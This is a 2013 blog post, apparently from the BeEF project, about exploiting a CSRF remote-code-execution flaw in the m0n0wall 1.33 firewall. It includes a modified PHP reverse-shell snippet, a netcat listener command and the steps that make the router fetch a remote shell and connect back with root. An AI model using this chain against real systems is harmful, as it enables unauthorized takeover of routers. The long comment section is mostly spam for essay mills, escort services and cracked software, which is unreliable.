Wednesday, March 20, 2013

Exploiting m0n0wall 1.33 with BeEF

Today's post is a guest post from Bart Leppens.

What is m0n0wall? m0n0wall is a free software firewall distribution that often runs on embedded hardware like Alixor Soekris boards.  It is based on a bare-bones version of FreeBSD. There is no netcat, socat, perl, python, ruby or even telnet present on the system.  I actually don't know if this is due to security considerations or just to save some diskspace since m0n0wall was longtime fitting on a 8 MB CF-card, now it requires just a 16 MB card. And we figured out how to exploit it with BeEF.


The Proof of Concept:
In November of 2012, Yann Cam, Security Consultant at synetis, released a Cross-Site Request Forgery Remote Code Execution Proof of Concept for m0n0wall 1.33 which allows an attacker to spawn a reverse shell with root privileges.

On the website of m0n0wall is posted the following newsitem:

m0n0wall Vulnerability Announcement

Oh my, CSRF RCE with root privileges on a router is considered a low priority security fix nowadays...

Anyway, to obtain his root shell, Yann Cam made use of Pentest Monkey's php-reverse-shell.  We at BeEF-project decided to contact Pentest Monkey and asked him if we were allowed to tweak his awesome php reverse shell just a tiny bit so we could use it with an automatic module for Yann's exploit.

So I basically just changed this:

$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS


into this:

$ip = $_GET["ip"];  //retrieve ip address to connect back to via HTTP GET
if (!$ip) {
    $ip = '127.0.0.1';  // or set static ip address
}
$port = $_GET["port"];  //retrieve port to connect back to via HTTP GET
 if (!$port) {
     $port = 1234;  // or define port here
}

Then I just implemented the actual BeEF-module based on the provided proof of concept so m0n0wall 1.33 can be easily exploited.

What happens behind the scenes?
  1. The victim needs to have a valid m0n0wall-session for the CSRF to work.
  2. An attacker needs to listen on some port (lport) at a certain IP address (lhost)  (e.g.: nc -l -p 4444).
  3. The attacker fills in the parameters in BeEF and sends the exploit http://lhost:lport/exec_raw.php
  4. The file php-reverse-shell.php gets served by BeEF.
  5. A new file x.php is created on the victims machine and given proper execute rights (chmod 755).
  6. After a little bit, http://lhost:lport/x.php?ip=<rhost>&port=<rport> is triggered.
  7. The remotely served file http://beefhost:beefport/php-reverse-shell.php get's eval'ed (For it to work, make sure you have configured your public host in BeEF's config.yaml. Otherwise, your IP might be known as 0.0.0.0. and it won't work.)
  8. The m0n0wall machine spawns back a reverse shell to specified lhost and lport.
  9. Finally, BeEF stops serving the php-reverse-shell.php.
Demo:


Conclusion:

So even with only the php interpreter present on the system, it can still be possible to send a reverse shell without the need to compile code or to execute shellcode.  By using creative solutions like
Pentest Monkey's php-reverse shell, you still can easily exploit the remote system.

-------
Bart Leppens has a master degree in Informatics. He has over 10 years of experience in IT, mainly in software development. He reported security bugs in widely used products from major vendors. At the moment, he is working as a Project Manager for the Belgian government at the department of Finances. During his spare time he likes to contribute to the BeEF-project. You can reach him via twitter: @bmantra

97 comments:

  1. Just deploying an important massage:
    while installing the BeEF exactly as shown I encountered an error in the "Bundle Install".

    Bundler::GemSpecError: Could not read gem at /home//.rvm/gems/ruby-1.9.2-p290-rub/cache/librex-0.0.68.gem. It may be corrupted.
    An error occurred while installing librex (0.0.68), and Bundler cannot continue.
    Make sure that 'gem install librex -v '0.0.68'' succeeds before bundling.

    When I tried running the BeEF i got:
    Could not find gem 'twitter (>= 0) ruby' in the gems available on this machine.
    Run 'bundle install' to install missing gems.

    OK so now for the solution that took me a few Google hours:

    The problem seems to stop the gem installation and the 'twitter gem' is next after librex. that's why the error on exec in 'twitter gem' related.

    The error is reffering to the ruby's cache directory:
    "Could not read gem at /home//.rvm/gems/ruby-1.9.2-p290-rub/CACHE/librex-0.0.68.gem. It may be corrupted."

    So all you need to do is delete the cache directory by:
    [email protected]: rm -r cache
    [email protected]: bundle install

    Enjoy BeEF!

    ReplyDelete
  2. This comment has been removed by the author.

    ReplyDelete

  3. Thanks for posting this useful content, Good to know about new things here, Let me share this, . Hadoop training in pune

    ReplyDelete
  4. A whole age is coming up absolutely subject to an advanced cell. Sentence structure has lost all significance to pay for research paper, and spell check is popular.

    ReplyDelete
  5. add local printer windows 10 in Windows 10 is usually a simple 10-minute process, after which you can start printing right away. Here's how to add a printer in Windows.

    ReplyDelete
  6. My recommendation is to also take a look at this web-page. I am sure you will find it useful.

    ReplyDelete


  7. افضل شركات الاثاث المستعمل
    قد يحتاج البعض إلى شراء بعض قطع الأثاث اللازمة في المنزل لكن عند البحث في المحال التجارية يجدون أن الأسعار باهظة بشكل غير معقول لذلك قد يفكر الكثير من الأشخاص اللجوء إلى شراء الأثاث المستخدم والذي يكون في حالة جيدة لكن قد تنتابهم الحيرة في معرفة الشركة التي لا بد من التوجه إليها للبحث عن قطع الأثاث المناسبة ولماذا كل ذلك فكل ما عليك هو التواصل مع شركة شراء اثاث مستعمل والتي عادة ما توفر جميع قطع الأثاث التي يرغب في اقتنائها جميع العملاء مهما اختلفت طبقاتهم المجتمعية فجرب ذلك الأمر بنفسك ونعدك بأنك لن تندم أبداً على ذلك الاختيار.
    شراء الاثاث المستعمل بالدمام
    شراء اثاث مستعمل
    ارقام الاثاث المستعمل
    اتخاذ القرار الحاسم بالتوجه إلى جهة معينة لشراء الأثاث المستعمل منها أمر ليس سهل إطلاقاً لكن عندما يكون لديك خلفية معرفية عن كل شركة فهذا بالطبع سيساعدك على اختيار ما هو أفضل لك ولكل أفراد أسرتك لذلك فسنطلعك في النقاط التالية على أهم المميزات التي تمتلكها شركة شراء اثاث مستعمل وذلك لكي تطمئن في حالة التعامل معها:
    • توفير جميع أنواع الأثاث اللازم لكل منزل مثل غرف النوم وأطقم الصالونات والأنتريهات هذا بالإضافة إلى المجالس وغرف النوم الخاصة بالأطفال.
    • يوجد بشركتنا المتميزة العديد من أجهزة الحاسب الآلي وتتميز باختلاف أحجامها وأنواعها وأسعارها وهذا لكي تناسب جميع عملائنا الكرام.
    • إذا كنت تبحث عن شراء الأجهزة الكهربائية المنزلية مثل الثلاجات وأجهزة التكييف ففي شركتنا ستجد أنواع متميزة لا حصر لها يمكنك اختيار ما يحلو لك منها.
    • يمكنك من خلال شركتنا المتميزة شراء جميع أدوات المطبخ مثل غسالات الأطباق وأفران الميكروويف والأفران العادية.
    • لا تخشى عملية نقل الأثاث إلى منزلك حيث أن شركة شراء اثاث مستعمل توفر العديد من الشاحنات ذات الأحجام المختلفة لمساعدتك في نقل جميع الأثاث الذي قمت باختياره وشرائه إلى منزلك بشكل آمن.
    • خدمة العملاء التابعة لنا تعمل على مدار 24 ساعة وهذا لاستقبال جميع اتصالاتكم الهاتفية وكافة استفساراتكم.
    • يتم عرض جميع الأثاث المتوفر لدينا بشكل مرتب ومنظم هذا بالإضافة إلى أن أسعارنا لا يوجد لها منافس.

    شراء الاثاث المستعمل
    شراء اثاث
    حقين الاثاث المستعمل

    ReplyDelete
  8. The latest Oracle 1Z0-968 Brain Dumps from valid4sure. Download 1Z0-968 pdf, Try it Free. Quickly and easily pass Oracle exam with 1z0-968 vce dumps

    ReplyDelete
  9. The cash is accessible considerably speedier than it is with a bank credit. Unsecured trader loans are extraordinarily an extraordinary alternative for retail and eatery shippers, not just on the grounds that these kinds of organizations can barely be supported by the conventional bank, yet in addition on account of the quick liquidity and straightforward process.
    Cash Advances corona

    ReplyDelete
  10. Good Post! Thank you so much for sharing this pretty post, it was so good to read and useful to improve my knowledge as updated one, keep blogging.

    Selenium with python Training in Electronic City

    ReplyDelete
  11. Great post! I didn’t knowral of these resources and I’m going to go check them out now! twitch

    ReplyDelete
  12. Readytricks provides Internet tricks, tips, How to Methods, Guides on Android, Windows, Mac tutorials and a lot more.

    ReplyDelete
  13. Thanks for this wonderful article and continue sharing more topics like this router login

    ReplyDelete
  14. Very helpful article, thank you for sharing this information! build royale

    ReplyDelete
  15. You are so exellent. I'm your fan. I follow your post daily happy wheels

    ReplyDelete
  16. I’m happy to found this informative blog, thank you so much for sharing with us. Get the most promising website designing services by ogen infosystem delhi.
    SEO Service in Delhi

    ReplyDelete
  17. Nice blog, keet it up for more updates about this blog. Visit Mutual Fund Wala for the best Investment schemes and mutual fund companies.
    Investment Advisor in Delhi

    ReplyDelete
  18. This is an well informative and useful stuff for us, I like your posts thank you so much for sharing this.
    Geomatics Assignment Help

    ReplyDelete
  19. All of our buy custom research papers services will always be 100% unique and authentic work composed by an essayist on our writing team as plagiarism is a crucial area when it comes to seeking best online essay writing service in our firm.

    ReplyDelete
  20. Our nursing essay writing service provides custom papers that will earn you the highest of grades because students can easily become frustrated trying to meet deadlines. Seek our best custom essay writing service today.

    ReplyDelete
  21. Really very informative and creative. This sharing concept is a good way to enhance knowledge. www.appslure.com

    ReplyDelete
  22. HP2-H88 dumps - Recently updated HP2-H88 new updated questions are included today in our question bank. Download the latest HP HP2-H88 Question to ensure your success

    ReplyDelete
  23. Getting reliable and competent Buy Custom Essay Services writing companies is no longer an easy task as most of the current providers are unreliable and provide poor Write my Essay Services that do not let students get high scores.

    ReplyDelete
  24. I was very impressed about it, wish you would have stayed next share
    slope game

    ReplyDelete
  25. Zong SMS Package keep you update about all
    telecom companies packages. You can find the packages of all companies with full detail and activation code.

    ReplyDelete
  26. The termite control company in Riyadh, which deals with the termite insect, is trying to eliminate it. It is a species of insects with articulated legs that feed on cellulose. This material is found in many tools that are used by humans such as papers, carpets, rugs, clothes, curtains, mats, pillows, mattresses and many other pieces. Therefore, it is a very harmful type of insects that must be dealt with.
    شركة مكافحة حشرات بالطائف
    شركة رش مبيدات بالطائف
    ارخص شركة مكافحة حشرات
    شركة رش مبيدات بسكاكا

    ReplyDelete
  27. Thanks a lot for the post. It has helped me get some nice ideas. I hope I will see some really good result soon.
    hotmail login

    ReplyDelete
  28. Thanks for Nice and Informative Post. This article is really contains lot more information about This Topic gmail sign up

    ReplyDelete
  29. Are you having issue while completing your programming assignments? Well, IdealAssignmentHelp will help you with your assignments and help you with the best of experience. My assignment help Australia experts will not only help you in getting your assignment covered in the given time period also without any kind of mistakes in it. So, get your complex programming assignment covered without having to stress about the quality anymore. You can reach out to online assignment help experts any time and we will never let you down in terms of quality and as well as rates! Get Connected now for top notch writing experience for excellent future ahead!

    ReplyDelete
  30. Thank you so much for this amazing information sharing with us. Visit Appslure WebSolution for the best mobile app development company in Gurgaon
    Mobile app development company in gurgaon

    ReplyDelete
  31. Nice, this is really amazing information. Kalakutir Pvt Ltd provides quality products in Delhi, India. We are providing the best quality Vinyl Signage Printing and Indoor & Outdoor Advertising in the Delhi area.
    Vinyl Signage Printing Services

    ReplyDelete
  32. The 92nd Academy Awards will once again air on ABC on Sunday, Feb. 9, and the night is sure to be filled with glitz, glamour, and maybe even a few more upsets.
    <a href="https://oscars2020news.com/oscars-2020-nominations-list/>https://oscars2020news.com/oscars-2020-nominations-list/</a>

    ReplyDelete
  33. The 92nd Academy Awards will once again air on ABC on Sunday, Feb. 9, and the night is sure to be filled with glitz, glamour, and maybe even a few more upsets.
    <a href="https://oscars2020news.com/oscars-2020-nominations-list>https://oscars2020news.com/oscars-2020-nominations-list/</a>

    ReplyDelete
  34. I read this article! I hope you will continue to have such articles to share with everyone! thank you! hotmail login

    ReplyDelete



  35. If you want a babe from the house of Russian Call Girls in Mahipalpurthere are a few things you should know well before making a booking. Firstly our agency here at your city. In simple words is a cut above the rest because of the highly professional services we provide to our clients. Check our other Services...
    Russian Call Girls in Mahipalpur
    Russian Call Girls in Mahipalpur
    Russian Call Girls in Mahipalpur
    Russian Call Girls in Paharganj
    Russian Call Girls in Vasant Kunj

    ReplyDelete
  36. Zong Internet Pacakges keep you update about all telecom companies packages.
    You can find the packages of all companies with full detail and activation code.

    Zong SMS Package: keep you update about all telecom companies packages.
    You can find the packages of all companies with full detail and activation code.

    ReplyDelete
  37. Zong Call Package: keep you update about all telecom companies packages.
    You can find the packages of all companies with full detail and activation code.

    ReplyDelete
  38. Nice! thank you so much! Thank you for sharing. Your blog posts are more interesting and informative

    Turbo VPN Pc

    ReplyDelete
  39. We will discuss Mono wall which was an embedded firewall distribution of FreeBSD, one of the BSD operating system descendants. It provides a small image which can be put on Compact Flash cards as well as on CD-ROMs and hard disks. Coursework writing services.

    ReplyDelete
  40. Krunker io is a great weapon game where you won't know how to lose ...

    ReplyDelete
  41. If I had read your article earlier, it would have been different. My ideas will definitely become more complete if you add your comments. It's so wonderful web page

    ReplyDelete






  42. Wonderful information! I found amazing information on the blogs i suggest everyone to follow the links below to get download files from this website.



    https://apkfasak.com/fmwhatsapp-apk/
    https://apkfasak.com/gb-whatsapp-apk/


    ReplyDelete

  43. With ourModel Escorts in Lucknowand escorts services, you may really improve stage of fun by its quality services different. Sure! This assists its people to victory over all the gloom and depressive disorders from your lifestyle and appeases your delicate wishes specifically.So, you may do a trip at web page and can get your wish suggested with an outstanding woman escort. Check our other services also...
    Hi Profile Call Girls in Lucknow
    Russian Call Girls in Lucknow
    Russian Escorts Service in Lucknow
    Foreigner Call Girls in Lucknow
    Foreigner Escorts in Lucknow
    Air Hostess Escorts
    Call Girls In Lucknow

    ReplyDelete
  44. Among other courses, tourism writing services has become popular since students seek Tourism & Leisure Writing Services and tourism assignment writing services.

    ReplyDelete
  45. Wondershare Filmora Crack Free Download
    Wondershare Filmora Crack is essential to know about advanced technologies. These technologies give you opportunities to make your business most profitable and also creative with the use of some applications.

    ReplyDelete
  46. Tuxera NTFS Crack Free Download
    Tuxera NTFS 2020 Crack is the superb and fantastic software and it is a car owner NTFS and developed from the latest open source file system of NT. Further, this software can write and completely read the compatible conditions of the NT files systems.

    ReplyDelete
  47. ClockworkMod Vysor Pro Crack Free Download
    ClockworkMod Vysor Pro License Key comes with a user friendly, intuitive, easy, and simple Interface. However, it is straightforward to use this software with the help of a straight forward interface.

    ReplyDelete
  48. Tenorshare ICareFone Crack Free Download
    Tenorshare iCareFone Crack makes the phone backup in a single click. It is the iOS system software that more comfortable to work. Tenorshare iCareFone transfer the messages, pictures, video, music, and different content from one WhatsApp to another WhatsApp or transfer the all this thing from one Facebook to another Facebook. Mostly used on the mobile phone. Tenorshare iCareFone free to install.

    ReplyDelete
  49. Hard Disk Sentinel Crack Free Download
    Hard Disk Sentinel Crack generated by H.D.S a software company founded in 2002. It is multi-OS SSD and HDD observer and examiner software. The work of HD sentinel is to check, diagnose and repair hard disc problems, show the SSD and HDD health report and performance failure trial.

    ReplyDelete
  50. TeamViewer Crack Free Download
    TeamViewer Crack is freeware for private uses. You can reach your office system, documents, and download files. You can enjoy the effective internet, and reach to your domestic networks.

    ReplyDelete
  51. Bandicut Crack Free Download
    Bandicut Torrent can be really a video cutter application. That works properly in video editing. With is you may cut any region of the videoclips and store it. What’s more, it keeps the first image quality and soundtracks too. It’s merely crucial to pick the video recording document, identify the area on the timeline, and then choose it.

    ReplyDelete
  52. Driver Easy Pro Crack Free Download
    Driver Easy Pro Serial Key can be a program that tries to earn life less complicated for end users just in this tough and dull endeavor that’s the look for motorists across the world wide web.

    ReplyDelete
  53. Prezi Crack Free Download
    Prezi Pro Crack – is a presentation and designing software.Prezi is a presentation and designing app, which utilizes templates to provide the canvas for your personal work.

    ReplyDelete
  54. the crew wild run download
    The Crew Wild Run Highly Compressed Pc Game Download Free Full Version is the expansion game for the real The Crew game. Ivory Tower along with Ubisoft Entertainments developed The Crew Wild Run Torrent.

    ReplyDelete
  55. kestine tablets
    Kestine Tablets contains Ebastine which is a non sedating anti histaminic agent. Ebastine use for symptomatic relief of allergic conditions including allergic rhinitis and in pruritic skin disorders. On the other hand, Kestine Tablets may also use for flu-like symptoms. It does not have significant sedatives or antimuscarinic actions.

    ReplyDelete
  56. Amazingly accommodating post. This is my first time I visit here. I found such countless interesting stuff in your blog especially its trade. Really its phenomenal article. tasty planet

    ReplyDelete
  57. Independent Escort Service In Aerocity is a reliable service whether you are looking for an outing, to work, or to escape, we are here to play with you. Whether for excursions, work, or to escape from everyday life, Escort Service In Aerocity is here with the best and most reliable service. My friends, we are the leading Escort Service In Aerocity serving charming and gorgeous call girls from all over Aerocity.

    ReplyDelete
  58. lottery sambad results named as sikkim state lottery, west bengal state lottery and nagaland state lottery also and lottery called as bodoland lottery result, and very important stay safe be at home. today lotterysambad

    ReplyDelete
  59. All matters related to medical laboratory and simple procedures. People are performing a huge amount of tests daily basis on several labs world wide. but you can have all the test procedure, reporting etc here.
    PT Inr Test Machine

    ReplyDelete
  60. Most popular websites are given below.

    ReplyDelete
  61. Students find Nursing Critical Care Essay Services as being of great assistance since they are able to seek our nursing research paper writing services and nursing essay writing help services on time.

    ReplyDelete
  62. Thankyou for the great article. looking forward for the more articles.
    Rice Bran Oil

    ReplyDelete
  63. Acronis True Image
    Acronis True Image Crack is a useful place where you can easily find Activators, Patch, Full version software Free Download, License key, serial key, keygen, Activation Key and Torrents. Get all of these by easily just on a single click.

    ReplyDelete
  64. SpyHunter
    SpyHunter Crack is the first and biting-edge anti-spyware. Whose goal is no longer identical only like the different anti-virus software. It is adding through Enigma Software Group USA, LLC.

    ReplyDelete
  65. It's no wonder that in recent whatsapp plus became a huge part of our lives. It's conveyears nient quick and easy to use.

    ReplyDelete
  66. Talha PC!

    Sony Vegas Pro Crack!

    This article is very helpful for us, Thanks for sharing. Such a more nice and valuable Article. Really your site is very awesome. Thanks for giving us these kinds of Articles.

    ReplyDelete
  67. Rekordbox DJ!
    Rekordbox DJ Crack is excellent music psychiatry as fine as an industrial application. It has all in one solution to any ruler to have fun at any time like a party, bop purpose and school performances, and a lot of extras.

    ReplyDelete
  68. It is important to seek medical coursework writing services and medical research paper writing services since students find help when they visit Medical Research Writing Services.

    ReplyDelete
  69. Do you need help with your Statistics homework? Then get connected with Statistics Homework Help Online from the Best Homework Writers USA and the leading Homework Help Writing Services Provider

    ReplyDelete
  70. Jazz internet Packages and
    Ufone internet Packages
    keep you update about latest package plans. Just connect withus
    for all package plans detail that are announce by telecom companies

    ReplyDelete
  71. When it comes to best gaming laptop under 1 lakh it comes with the latest technologies within an affordable price which makes it accessible for small businessmen and middle-class households alike. Also when it comes to the south of gaming, there are spectacular gaming laptops which offer brilliant features at an affordable rate. And today it is also possible to go in search of something very specific and precise, say , and still find numerous positive results.!!!

    ReplyDelete
  72. we upload everyday results on the three different timings (11:55 AM, 4 PM, 8 PM). All lottery fans wait for the Sambad results and lottery lovers. We have great news for you guys. click here https://lotterysambadnight.in/

    ReplyDelete
  73. I want to to thank you for this fantastic read!! We are fieldking established in 1978, Beri Udyog Pvt. Ltd. (BUPL) is a globally renowned manufacturer of Farm Equipment. Visit Website to know more- www.fieldking.com | agricultural machinery |
    farm equipment |

    ReplyDelete
  74. BetterLYF.com provides easy access, convenience, privacy and
    affordability for a service that many people need but do not receive. BetterLYF serves as a safe space for them to talk it all out. You can get online counseling for depression, breakups, Work Stress, Anxiety, Relationship Problems, Marriage, Parenting Challenges and more. Visit our website to know more.

    free online therapy | relationship counseling |

    ReplyDelete
  75. Mobilink Jazz internet packages 3G/4G Daily, Weekly and Monthly All List and Complete Information. How to Subscribe, Status, MBs, GB check Cods and Price...

    ReplyDelete
  76. This comment has been removed by the author.

    ReplyDelete
  77. Hey, thank you a lot for sharing this article with us. I can’t say, how grateful we are to read this. Also, I would love to share it with my friends and family, who are interested. I hope you will publish such articles in the future as well. It’s so helpful. Goodbye! Take a look at this wonderful article and download clash of clans MOD APK 2021 for free And visit ModsDroid.

    ReplyDelete
  78. Thanks for sharing this article. check this game i hope u like it.https://cocpureapk.com/

    ReplyDelete